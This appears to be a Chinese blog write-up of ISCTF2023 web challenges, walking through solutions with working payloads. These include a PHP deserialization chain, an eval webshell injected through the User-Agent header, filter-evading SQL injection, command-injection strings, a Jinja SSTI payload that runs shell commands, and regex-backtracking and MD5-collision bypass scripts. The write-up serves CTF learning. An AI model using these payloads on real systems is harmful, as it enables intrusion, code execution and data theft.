ISCTF2023 web方向wp超详细解析+做题思路(部分)

1、圣杯战争!!!

题目如下:

 <?php
highlight_file(__FILE__);
error_reporting(0);

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;
    }
}

class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;
        echo "蓄力!咖喱棒!!<br>";
        return $functioin();
    }
}
class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);
    }
}
class summon{
    public $Saber;
    public $Rider;

    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;
    }
}

if(isset($_GET['payload'])){
    unserialize($_GET['payload']);
}
?> 

__wakeup() 方法在使用 unserialize() 函数从字符串中还原对象时,如果对象的类中定义了 __wakeup() 方法,那么在对象被反序列化后,该方法会被自动调用。 

__invoke() 是一个魔术方法(Magic Method),在 PHP 中用于在对象被当作函数调用时自动调用。当我们将一个对象直接作为函数进行调用时,__invoke() 方法会被触发。

__get() 在 PHP 中用于访问对象中未定义或不可访问的属性时自动调用。当我们尝试获取一个对象的不存在或不可访问的属性时,__get() 方法会被触发。

__toString()在 PHP 中用于将对象转换为字符串时自动调用。当我们试图将一个对象直接作为字符串进行输出或拼接时,__toString() 方法会被触发。

我构造反序列化pop链的习惯是从"出"到"入"开始构造,先找到要命令执行/文件读取的地方标记为1,层层递进,每一层都标记,最后再赋值,步骤如下:

 <?php
class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;  //3,目的是触发__get(),我们留意到这里调用了$excalibuer里的arrow属性,显然类prepare里没有arrow属性,丢到这里刚好能触发__get()
    }
}

class prepare{
    public $release; 
    public function __get($key){
        $functioin = $this->release;  //2,把将 $this->release 属性赋值给了 $function
        echo "蓄力!咖喱棒!!<br>";
        return $functioin();  //在这里被当作函数调用,显而易见能把saber类丢给这里的$release
    }
}
class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon); //1,文件包含的地方标记为1,想要包含需要触发__invoke()的话需要找能把saber类当作函数触发的地方
    }
}
class summon{
    public $Saber;
	public $Rider;
    public function __wakeup(){  
        echo "开始召唤从者!<br>";
        echo $this->Saber;   //4,目的是触发刚刚第三层的tostring,这里有个echo
    }
}
$s=new saber();
$s->weapon="php://filter/convert.base64-encode/resource=flag.php"; 
$pr=new prepare();
$pr->release=$s;
$a=new artifact();
$a->excalibuer=$pr;
$su=new summon();
$su->Saber=$a;
echo serialize($su);
?> 

本来一开始直接weapon="flag.php",但是出不了,所以换成伪协议:

$s->weapon="php://filter/convert.base64-encode/resource=flag.php";

payload:

O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

2、where_is_the_flag

题目:

700c076a3dd945bfa3c6e7f13176dbab.png

提示了一句话密码为1,直接蚁剑连靶场,密码连1

进去就能看见flag1

ddc0c24d90ab4cce8f2dd6443dadeef6.png

根目录有flag2

ffe079da3e7643498f7cce154c2d1bb8.png

flag3不可能一个个点,肯定是转去虚拟终端用命令找,在开虚拟终端之前看下.sh,一般都会放些提示

start.sh内容:

#!/bin/sh
sed -i "s/{{FLAG1}}/${FLAG:0:10}/" /var/www/localhost/htdocs/flag.php
echo ${FLAG:10:10} > /flag2
export FLAG3=${FLAG:20}
FLAG3=${FLAG:20}
export FLAG="flag"
FLAG="flag"
httpd -D FOREGROUND

我们就能知道,FLAG3 包含了 FLAG 变量的从第 21 个字符到末尾的部分,可以直接在虚拟终端输出 FLAG3 变量的值 

那我们先进入虚拟终端,然后cd /去到根目录,然后在根目录输出FLAG3 变量的值

echo $FLAG3

b46f5f79edea4be2927e386890d25f6d.png

别的命令不知道为什么不是返回不了,就是权限不够,都已经root了(?可能因为我对Linux还不够熟悉吧)比如

find / -type f -name "*flag*"

出来的全是拒绝访问,麻了

3、绕进你的心里

题目如下:

 <?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
    echo "md5绕过了!";
    if(preg_match("/[0-9]/", $num)){
        die('你干嘛?哎哟!');
    }
    elseif(intval($num)){
        if(preg_match('/.+?ISCTF/is', $str)){
            die("再想想!");
        }
        if(stripos($str, '2023ISCTF') === false){
            die("就差一点点啦!");
        }
        echo $flag;
    }
}
?> 

第一层MD5强比较绕过可以这样绕

Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第二层,绕过intval()限制

intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。

    「空数组」返回 0
    「非空数组」返回 1

实例:

var_dump(intval(array()));
var_dump(intval(array(3,2)));

输出:

int(0)
int(1)

所以这一层绕过就可以是:

zhurong[]=a

第三层的绕过关键在pan_gu利用正则最大回溯绕过,看到'/.+?ISCTF/is'这种就要想到了,我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

网上找的通用回溯poc如下,需要对应不同题目改脚本:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

 这一题的脚本是:

import requests

url = "http://43.249.195.138:21812/?hongmeng=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&shennong=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&zhurong[]=a"

data = {

    'pan_gu': 'aaaaaaaaaa' * 250000 + '2023ISCTF'

}

r = requests.post(url, data=data)

print(r.text)

5d00ae9b041343028bfff6a6cf580694.png

4、easy_website

一开始弱口令爆破同时扫目录,发现用户名是admin,密码是admin,但是登录了只是显示一行字,扫目录的结果基本没用

1c36467879c74958bee87255c1f3f5f7.png

接下来尝试sql、xss、ssti这些,发现用户名的框有SQL注入漏洞,单引号闭合,替换了or,过滤空格

payload1:(成功闭合)

1' oorrder%09by%091#

7614132376d14e5d852d793ed7882ef2.png

爆数据库名:

username=-1'ANANDD%09updatexml(1,concat(0x7e,(sELECT%09database())),1)#&password=1

 0806585cd7f941f2a5ac1a4f86695c84.png

爆表名:

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()%09limit%090,1),0x7e))#&password=admin

 98d15e7a04254866be65188a7d78895c.png

爆字段名:

 但是发现结果不能全展示出来

fac7505aebe14e5e841a6c3d27b65276.png

所以用到substring函数分段查询

SUBSTRING()是一种用于提取字符串子串的SQL函数。它的语法通常如下:

SUBSTRING(string, start, length)

参数说明:

  • string:要提取子串的字符串。
  • start:指定子串的起始位置,是一个整数值。起始位置从1开始计数。
  • length:可选参数,指定要提取的子串的长度。如果省略该参数,则会提取从起始位置到字符串末尾的所有字符。

使用SUBSTRING()函数的示例:

SELECT SUBSTRING('Hello World', 7, 5);       #结果为:World

在这个示例中,我们从字符串 'Hello World' 中提取了从第7个字符开始的连续5个字符,即子串 'World'

4395730c8a3c4cf19035d8197a75957b.png

爆表名payload,需要改变后substring两个的参数来拼接:

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'),1,50),0x7e))#&password=admin

一共有这些字段:

USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,user,password

猜测在小写的两个字段里,经过尝试发现flag在password字段里

最终payload:

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09passwoorrd%09from%09users%09limit%092,1),1,80),0x7e))#&password=admin

由于一开始没加limit被提示返回不止一行,所以用limit 2,1,同样需要substring函数自己拼接来看flag

a02a5367d71f40599eb0840a842ab2d7.png

5、wafr

rce:

code=system('ca\t /f*')

code=system('ca"t /f*')

code=system('strings /f*')

6、webinclude

dirsearch扫描出index.bak的备份文件和flag.php,以下为index.bak

 function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

这是 java写的脚本,他有一处是让一个小写字母转换为两个大写字母,我们需要逆向写一个脚本(以下复制大佬脚本):

#include<stdio.h>
#include<string.h>

int main() 
{
	char b[100]="dxdydxdudxdtdxeadxekdxea";
	for(int j=0;j<2;j++){
		int tmp1=0,tmp2=0,sum=0,f=0;
		//printf("%d\n",strlen(b));
		for(int i=0;i<strlen(b);i++){
			int tmp=(int)(b[i]-97);
			f++;
			if(i%2==0){
				tmp1=tmp*26;
				//printf("%d ",tmp1);
			}
			if(i%2!=0){
				tmp2=tmp;
				//printf("%d ",tmp2);
			}
			if(f==2){
				printf("%c",tmp1+tmp2);
				//printf("%d\n",sum);
				sum++;
				tmp1=0;
				tmp2=0;
				f=0;
			}
	}
	//printf("%d",sum);
	}
	return 0;
}

payload:

?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

7、fuzz!

[a-z]可以绕过任意一个字母,"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令

payload:

?file=|tac /fl[a-z]ggggggg.txt

?file=f{i}l{e}:///fla{g}gggggg.txt

8、恐怖G7

无过滤ssti,直接注入,flag在环境变量里

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}

9、ez_ini

UA头:

<?php @eval($_POST['shell']);?

POST:

shell=system('cat /fl*');

  • 23
    点赞
  • 45
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值